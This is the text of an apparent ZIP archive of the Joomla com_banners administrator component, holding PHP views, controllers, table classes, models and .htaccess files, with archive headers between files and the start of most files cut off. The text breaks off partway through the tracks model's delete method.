BannersHelper::getActions($this->state->get('filter.category_id')); JToolBarHelper::title(JText::_('COM_BANNERS_MANAGER_TRACKS'), 'banners-tracks.png'); $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Popup', 'export', 'JTOOLBAR_EXPORT', 'index.php?option=com_banners&view=download&tmpl=component', 600, 300); $document = JFactory::getDocument(); $app = JFactory::getApplication(); if ($canDo->get('core.delete')) { $bar->appendButton('Confirm', 'COM_BANNERS_DELETE_MSG', 'delete', 'COM_BANNERS_TRACKS_DELETE', 'tracks.delete', false); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_banners'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_TRACKS'); } } PK@y>\GT}}6components/com_banners/views/download/tmpl/default.phpnuW+A
      form->getFieldset() as $field): ?> hidden): ?> label; ?> input; ?>
      PK@y>\)4components/com_banners/views/download/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5components/com_banners/views/download/tmpl/index.htmlnuW+A PK@y>\)/components/com_banners/views/download/.htaccessnuW+A Order allow,deny Deny from all PK@y>\3components/com_banners/views/download/view.html.phpnuW+Aform = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); } } PK@y>\V0components/com_banners/views/download/index.htmlnuW+A PK@y>\V3components/com_banners/views/banner/tmpl/index.htmlnuW+A PK@y>\Qa""1components/com_banners/views/banner/tmpl/edit.phpnuW+A PK@y>\)2components/com_banners/views/banner/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)-components/com_banners/views/banner/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V.components/com_banners/views/banner/index.htmlnuW+A PK@y>\7!1components/com_banners/views/banner/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); // Since we don't track these assets at the item level, use the category id. $canDo = BannersHelper::getActions($this->item->catid,0); JToolBarHelper::title($isNew ? JText::_('COM_BANNERS_MANAGER_BANNER_NEW') : JText::_('COM_BANNERS_MANAGER_BANNER_EDIT'), 'banners.png'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || count($user->getAuthorisedCategories('com_banners', 'core.create')) > 0)) { JToolBarHelper::apply('banner.apply'); JToolBarHelper::save('banner.save'); if ($canDo->get('core.create')) { JToolBarHelper::save2new('banner.save2new'); } } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('banner.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('banner.cancel'); } else { JToolBarHelper::cancel('banner.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_BANNERS_BANNERS_EDIT'); } } PK@y>\y3ͪ%components/com_banners/controller.phpnuW+AcheckEditId('com_banners.edit.banner', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_banners&view=banners', false)); return false; } elseif ($view == 'client' && $layout == 'edit' && !$this->checkEditId('com_banners.edit.client', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_banners&view=clients', false)); return false; } parent::display(); return $this; } } PK@y>\V)components/com_banners/helpers/index.htmlnuW+A PK@y>\V.components/com_banners/helpers/html/index.htmlnuW+A PK@y>\)-components/com_banners/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\c^5 5 .components/com_banners/helpers/html/banner.phpnuW+A', JText::_('COM_BANNERS_BATCH_CLIENT_LABEL'), '', '' ); return implode("\n", $lines); } /** * Method to get the field options. * * @return array The field option objects. * @since 1.6 */ public static function clientlist() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id As value, name As text'); $query->from('#__banner_clients AS a'); $query->order('a.name'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } return $options; } /** * Returns a pinned state on a grid * * @param integer $value The state value. * @param integer $i The row index * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The Html code * * @see JHtmlJGrid::state * * @since 2.5.5 */ public static function pinned($value, $i, $enabled = true, $checkbox = 'cb') { $states = array( 1 => array( 'sticky_unpublish', 'COM_BANNERS_BANNERS_PINNED', 'COM_BANNERS_BANNERS_HTML_PIN_BANNER', 'COM_BANNERS_BANNERS_PINNED', false, 'publish', 'publish' ), 0 => array( 'sticky_publish', 'COM_BANNERS_BANNERS_UNPINNED', 'COM_BANNERS_BANNERS_HTML_UNPIN_BANNER', 'COM_BANNERS_BANNERS_UNPINNED', false, 'unpublish', 'unpublish' ), ); return JHtml::_('jgrid.state', $states, $value, $i, 'banners.', $enabled, true, $checkbox); } } PK@y>\)(components/com_banners/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\=***components/com_banners/helpers/banners.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * @return boolean * @since 1.6 */ public static function updateReset() { $user = JFactory::getUser(); $db = JFactory::getDBO(); $nullDate = $db->getNullDate(); $now = JFactory::getDate(); $query = $db->getQuery(true); $query->select('*'); $query->from('#__banners'); $query->where("'".$now."' >= ".$db->quoteName('reset')); $query->where($db->quoteName('reset').' != '.$db->quote($nullDate).' AND '.$db->quoteName('reset').'!=NULL'); $query->where('('.$db->quoteName('checked_out').' = 0 OR '.$db->quoteName('checked_out').' = '.(int) $db->Quote($user->id).')'); $db->setQuery((string)$query); $rows = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); return false; } JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/tables'); foreach ($rows as $row) { $purchase_type = $row->purchase_type; if ($purchase_type < 0 && $row->cid) { $client = JTable::getInstance('Client', 'BannersTable'); $client->load($row->cid); $purchase_type = $client->purchase_type; } if ($purchase_type < 0) { $params = JComponentHelper::getParams('com_banners'); $purchase_type = $params->get('purchase_type'); } switch($purchase_type) { case 1: $reset = $nullDate; break; case 2: $date = JFactory::getDate('+1 year '.date('Y-m-d', strtotime('now'))); $reset = $db->Quote($date->toSql()); break; case 3: $date = JFactory::getDate('+1 month '.date('Y-m-d', strtotime('now'))); $reset = $db->Quote($date->toSql()); break; case 4: $date = JFactory::getDate('+7 day '.date('Y-m-d', strtotime('now'))); $reset = $db->Quote($date->toSql()); break; case 5: $date = JFactory::getDate('+1 day '.date('Y-m-d', strtotime('now'))); $reset = $db->Quote($date->toSql()); break; } // Update the row ordering field. $query->clear(); $query->update($db->quoteName('#__banners')); $query->set($db->quoteName('reset').' = '.$db->quote($reset)); $query->set($db->quoteName('impmade').' = '.$db->quote(0)); $query->set($db->quoteName('clicks').' = '.$db->quote(0)); $query->where($db->quoteName('id').' = '.$db->quote($row->id)); $db->setQuery((string)$query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); return false; } } return true; } public static function getClientOptions() { // Initialize variables. $options = array(); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id As value, name As text'); $query->from('#__banner_clients AS a'); $query->where('a.state = 1'); $query->order('a.name'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Merge any additional options in the XML definition. //$options = array_merge(parent::getOptions(), $options); array_unshift($options, JHtml::_('select.option', '0', JText::_('COM_BANNERS_NO_CLIENT'))); return $options; } } PK@y>\V(components/com_banners/tables/index.htmlnuW+A PK@y>\DŽF"F"(components/com_banners/tables/banner.phpnuW+Acreated = $date->toSql(); } function clicks() { $query = 'UPDATE #__banners' . ' SET clicks = (clicks + 1)' . ' WHERE id = ' . (int) $this->id ; $this->_db->setQuery($query); $this->_db->query(); } /** * Overloaded check function * * @return boolean * @see JTable::check * @since 1.5 */ function check() { // Set name $this->name = htmlspecialchars_decode($this->name, ENT_QUOTES); // Set alias $this->alias = JApplication::stringURLSafe($this->alias); if (empty($this->alias)) { $this->alias = JApplication::stringURLSafe($this->name); } // Check the publish down date is not earlier than publish up. if ($this->publish_down > $this->_db->getNullDate() && $this->publish_down < $this->publish_up) { $this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH')); return false; } // Set ordering if ($this->state < 0) { // Set ordering to 0 if state is archived or trashed $this->ordering = 0; } elseif (empty($this->ordering)) { // Set ordering to last if ordering was 0 $this->ordering = self::getNextOrder($this->_db->quoteName('catid').'=' . $this->_db->Quote($this->catid).' AND state>=0'); } return true; } /** * Overloaded bind function * * @param array $hash named array * @return null|string null is operation was satisfactory, otherwise returns an error * @see JTable:bind * @since 1.5 */ public function bind($array, $ignore = array()) { if (isset($array['params']) && is_array($array['params'])) { $registry = new JRegistry(); $registry->loadArray($array['params']); if((int) $registry->get('width', 0) < 0){ $this->setError(JText::sprintf('JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED', JText::_('COM_BANNERS_FIELD_WIDTH_LABEL'))); return false; } if((int) $registry->get('height', 0) < 0){ $this->setError(JText::sprintf('JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED', JText::_('COM_BANNERS_FIELD_HEIGHT_LABEL'))); return false; } // Converts the width and height to an absolute numeric value: $width = abs((int) $registry->get('width', 0)); $height = abs((int) $registry->get('height', 0)); // Sets the width and height to an empty string if = 0 $registry->set('width', ($width ? $width : '')); $registry->set('height', ($height ? $height : '')); $array['params'] = (string)$registry; } if (isset($array['imptotal'])) { $array['imptotal'] = abs((int) $array['imptotal']); } return parent::bind($array, $ignore); } /** * method to store a row * * @param boolean $updateNulls True to update fields even if they are null. */ function store($updateNulls = false) { if (empty($this->id)) { $purchase_type = $this->purchase_type; if ($purchase_type < 0 && $this->cid) { $client = JTable::getInstance('Client', 'BannersTable'); $client->load($this->cid); $purchase_type = $client->purchase_type; } if ($purchase_type < 0) { $params = JComponentHelper::getParams('com_banners'); $purchase_type = $params->get('purchase_type'); } switch($purchase_type) { case 1: $this->reset=$this->_db->getNullDate(); break; case 2: $date = JFactory::getDate('+1 year '.date('Y-m-d', strtotime('now'))); $reset = $this->_db->Quote($date->toSql()); break; case 3: $date = JFactory::getDate('+1 month '.date('Y-m-d', strtotime('now'))); $reset = $this->_db->Quote($date->toSql()); break; case 4: $date = JFactory::getDate('+7 day '.date('Y-m-d', strtotime('now'))); $reset = $this->_db->Quote($date->toSql()); break; case 5: $date = JFactory::getDate('+1 day '.date('Y-m-d', strtotime('now'))); $reset = $this->_db->Quote($date->toSql()); break; } // Store the row parent::store($updateNulls); } else { // Get the old row $oldrow = JTable::getInstance('Banner', 'BannersTable'); if (!$oldrow->load($this->id) && $oldrow->getError()) { $this->setError($oldrow->getError()); } // Verify that the alias is unique $table = JTable::getInstance('Banner', 'BannersTable'); if ($table->load(array('alias'=>$this->alias, 'catid'=>$this->catid)) && ($table->id != $this->id || $this->id==0)) { $this->setError(JText::_('COM_BANNERS_ERROR_UNIQUE_ALIAS')); return false; } // Store the new row parent::store($updateNulls); // Need to reorder ? if ($oldrow->state>=0 && ($this->state < 0 || $oldrow->catid != $this->catid)) { // Reorder the oldrow $this->reorder($this->_db->quoteName('catid').'=' . $this->_db->Quote($oldrow->catid).' AND state>=0'); } } return count($this->getErrors())==0; } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published, 2=archived, -2=trashed] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.6 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Get an instance of the table $table = JTable::getInstance('Banner', 'BannersTable'); // For all keys foreach ($pks as $pk) { // Load the banner if(!$table->load($pk)) { $this->setError($table->getError()); } // Verify checkout if($table->checked_out==0 || $table->checked_out==$userId) { // Change the state $table->state = $state; $table->checked_out=0; $table->checked_out_time=$this->_db->getNullDate(); // Check the row $table->check(); // Store the row if (!$table->store()) { $this->setError($table->getError()); } } } return count($this->getErrors())==0; } /** * Method to set the sticky state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The sticky state. eg. [0 = unsticked, 1 = sticked] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.6 */ public function stick($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Get an instance of the table $table = JTable::getInstance('Banner', 'BannersTable'); // For all keys foreach ($pks as $pk) { // Load the banner if(!$table->load($pk)) { $this->setError($table->getError()); } // Verify checkout if($table->checked_out==0 || $table->checked_out==$userId) { // Change the state $table->sticky = $state; $table->checked_out=0; $table->checked_out_time=$this->_db->getNullDate(); // Check the row $table->check(); // Store the row if (!$table->store()) { $this->setError($table->getError()); } } } return count($this->getErrors())==0; } } PK@y>\)'components/com_banners/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\x NY  (components/com_banners/tables/client.phpnuW+Achecked_out_time = $_db->getNullDate(); parent::__construct('#__banner_clients', 'id', $_db); } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.0.4 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k.'='.implode(' OR '.$k.'=', $pks); // Determine if there is checkin support for the table. if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time')) { $checkin = ''; } else { $checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')'; } // Update the publishing state for rows with the given primary keys. $this->_db->setQuery( 'UPDATE '.$this->_db->quoteName($this->_tbl). ' SET '.$this->_db->quoteName('state').' = '.(int) $state . ' WHERE ('.$where.')' . $checkin ); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If checkin is supported and all rows were adjusted, check them in. if ($checkin && (count($pks) == $this->_db->getAffectedRows())) { // Checkin the rows. foreach($pks as $pk) { $this->checkin($pk); } } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PK@y>\t1I:??"components/com_banners/banners.phpnuW+Aauthorise('core.manage', 'com_banners')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Execute the task. $controller = JControllerLegacy::getInstance('Banners'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\X2l l "components/com_banners/banners.xmlnuW+A com_banners Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_BANNERS_XML_DESCRIPTION sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql banners.php controller.php index.html router.php helpers models com_banners com_banners_banners com_banners_categories com_banners_clients com_banners_tracks access.xml banners.php config.xml controller.php index.html controllers helpers models tables views language/en-GB.com_banners.ini language/en-GB.com_banners.sys.ini PK@y>\) components/com_banners/.htaccessnuW+A Order allow,deny Deny from all PK@y>\,AV V (components/com_banners/models/client.phpnuW+Aid)) { if ($record->state != -2) { return ; } $user = JFactory::getUser(); if (!empty($record->catid)) { return $user->authorise('core.delete', 'com_banners.category.'.(int) $record->catid); } else { return $user->authorise('core.delete', 'com_banners'); } } } /** * Method to test whether a record can be deleted. * * @param object A record object. * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); if (!empty($record->catid)) { return $user->authorise('core.edit.state', 'com_banners.category.'.(int) $record->catid); } else { return $user->authorise('core.edit.state', 'com_banners'); } } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Client', $prefix = 'BannersTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_banners.client', 'client', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_banners.edit.client.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Prepare and sanitise the table data prior to saving. * * @param JTable A JTable object. * @since 1.6 */ protected function prepareTable(&$table) { $table->name = htmlspecialchars_decode($table->name, ENT_QUOTES); } } PK@y>\V.components/com_banners/models/forms/index.htmlnuW+A PK@y>\sC33.components/com_banners/models/forms/banner.xmlnuW+A
      >
      PK@y>\M=0components/com_banners/models/forms/download.xmlnuW+A
      PK@y>\)-components/com_banners/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ .components/com_banners/models/forms/client.xmlnuW+A
      PK@y>\n+[[)components/com_banners/models/banners.phpnuW+Acache['categoryorders'])) { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('MAX(ordering) as '.$db->quoteName('max').', catid'); $query->select('catid'); $query->from('#__banners'); $query->group('catid'); $db->setQuery($query); $this->cache['categoryorders'] = $db->loadAssocList('catid', 0); } return $this->cache['categoryorders']; } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Initialise variables. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id AS id, a.name AS name, a.alias AS alias,'. 'a.checked_out AS checked_out,'. 'a.checked_out_time AS checked_out_time, a.catid AS catid,' . 'a.clicks AS clicks, a.metakey AS metakey, a.sticky AS sticky,'. 'a.impmade AS impmade, a.imptotal AS imptotal,' . 'a.state AS state, a.ordering AS ordering,'. 'a.purchase_type as purchase_type,'. 'a.language, a.publish_up, a.publish_down' ) ); $query->from($db->quoteName('#__banners').' AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Join over the clients. $query->select('cl.name AS client_name,cl.purchase_type as client_purchase_type'); $query->join('LEFT', '#__banner_clients AS cl ON cl.id = a.cid'); // Filter by published state $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.state = '.(int) $published); } elseif ($published === '') { $query->where('(a.state IN (0, 1))'); } // Filter by category. $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $query->where('a.catid = '.(int) $categoryId); } // Filter by client. $clientId = $this->getState('filter.client_id'); if (is_numeric($clientId)) { $query->where('a.cid = '.(int) $clientId); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.name LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = ' . $db->quote($language)); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering', 'ordering'); $orderDirn = $this->state->get('list.direction', 'ASC'); if ($orderCol == 'ordering' || $orderCol == 'category_title') { $orderCol = 'c.title '.$orderDirn.', a.ordering'; } if($orderCol == 'client_name') $orderCol = 'cl.name'; $query->order($db->escape($orderCol.' '.$orderDirn)); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); $id .= ':'.$this->getState('filter.category_id'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Banner', $prefix = 'BannersTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { // Initialise variables. $app = JFactory::getApplication('administrator'); // Load the filter state. $search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id', ''); $this->setState('filter.category_id', $categoryId); $clientId = $this->getUserStateFromRequest($this->context.'.filter.client_id', 'filter_client_id', ''); $this->setState('filter.client_id', $clientId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_banners'); $this->setState('params', $params); // List state information. parent::populateState('a.name', 'asc'); } } PK@y>\cO*components/com_banners/models/download.phpnuW+A_context.'.basename'), '__SITE__', 'cookie'); $this->setState('basename', $basename); $compressed = JRequest::getInt(JApplication::getHash($this->_context.'.compressed'), 1, 'cookie'); $this->setState('compressed', $compressed); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_banners.download', 'download', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { return array( 'basename' => $this->getState('basename'), 'compressed' => $this->getState('compressed') ); } } PK@y>\N)components/com_banners/models/clients.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); // Load the parameters. $params = JComponentHelper::getParams('com_banners'); $this->setState('params', $params); // List state information. parent::populateState('a.name', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id AS id,'. 'a.name AS name,'. 'a.contact AS contact,'. 'a.checked_out AS checked_out,'. 'a.checked_out_time AS checked_out_time, ' . 'a.state AS state,'. 'a.metakey AS metakey,'. 'a.purchase_type as purchase_type' ) ); $query->from($db->quoteName('#__banner_clients').' AS a'); // Join over the banners for counting $query->select('COUNT(b.id) as nbanners'); $query->join('LEFT', '#__banners AS b ON a.id = b.cid'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Filter by published state $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.state = '.(int) $published); } elseif ($published === '') { $query->where('(a.state IN (0, 1))'); } $query->group('a.id, a.name, a.contact, a.checked_out, a.checked_out_time, a.state, a.metakey, a.purchase_type, editor'); // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('a.name LIKE '.$search); } } $ordering_o = $this->getState('list.ordering', 'ordering'); if($ordering_o == 'nbanners') $ordering_o = 'COUNT(b.id)'; // Add the list ordering clause. $query->order($db->escape($ordering_o).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PK@y>\`7|//(components/com_banners/models/tracks.phpnuW+AgetUserStateFromRequest($this->context.'.filter.type', 'filter_type'); $this->setState('filter.type', $type); $begin = $this->getUserStateFromRequest($this->context.'.filter.begin', 'filter_begin', '', 'string'); $this->setState('filter.begin', $begin); $end = $this->getUserStateFromRequest($this->context.'.filter.end', 'filter_end', '', 'string'); $this->setState('filter.end', $end); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id', ''); $this->setState('filter.category_id', $categoryId); $clientId = $this->getUserStateFromRequest($this->context.'.filter.client_id', 'filter_client_id', ''); $this->setState('filter.client_id', $clientId); // Load the parameters. $params = JComponentHelper::getParams('com_banners'); $this->setState('params', $params); // List state information. parent::populateState('b.name', 'asc'); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Get the application object $app = JFactory::getApplication(); require_once JPATH_COMPONENT.'/helpers/banners.php'; // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( 'a.track_date as track_date,'. 'a.track_type as track_type,'. 'a.'.$db->quoteName('count'), ' as '.$db->quoteName('count') ); $query->from($db->quoteName('#__banner_tracks').' AS a'); // Join with the banners $query->join('LEFT', $db->quoteName('#__banners').' as b ON b.id=a.banner_id'); $query->select('b.name as name'); // Join with the client $query->join('LEFT', $db->quoteName('#__banner_clients').' as cl ON cl.id=b.cid'); $query->select('cl.name as client_name'); // Join with the category $query->join('LEFT', $db->quoteName('#__categories').' as cat ON cat.id=b.catid'); $query->select('cat.title as category_title'); // Filter by type $type = $this->getState('filter.type'); if (!empty($type)) { $query->where('a.track_type = '.(int) $type); } // Filter by client $clientId = $this->getState('filter.client_id'); if (is_numeric($clientId)) { $query->where('b.cid = '.(int) $clientId); } // Filter by category $catedoryId = $this->getState('filter.category_id'); if (is_numeric($catedoryId)) { $query->where('b.catid = '.(int) $catedoryId); } // Filter by begin date $begin = $this->getState('filter.begin'); if (!empty($begin)) { $query->where('a.track_date >= '.$db->Quote($begin)); } // Filter by end date $end = $this->getState('filter.end'); if (!empty($end)) { $query->where('a.track_date <= '.$db->Quote($end)); } // Add the list ordering clause. $orderCol = $this->getState('list.ordering', 'name'); $query->order($db->escape($orderCol).' '.$db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to delete rows. * * @param array An array of item ids. * * @return boolean Returns true on success, false on failure. */ public function delete() { // Initialise variables $user = JFactory::getUser(); $categoryId = $this->getState('category_id'); // Access checks. if ($categoryId) { $allow = $user->authorise('core.delete', 'com_banners.category.'.(int) $categoryId); } else { $allow = $user->authorise('core.delete', 'com_banners'); } if ($allow) { // Delete tracks from this banner $db = $this->getDbo(); $query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__banner_tracks')); // Filter by type $type = $this->getState('filter.type'); if (!empty($type)) { $query->where('track_type = '.(int) $type); } // Filter by begin date $begin = $this->getState('filter.begin'); if (!empty($begin)) { $query->where('track_date >= '.$db->Quote($begin)); } // Filter by end date $end = $this->getState('filter.end'); if (!empty($end)) { $query->where('track_date <= '.$db->Quote($end)); } $where = '1'; // Filter by client 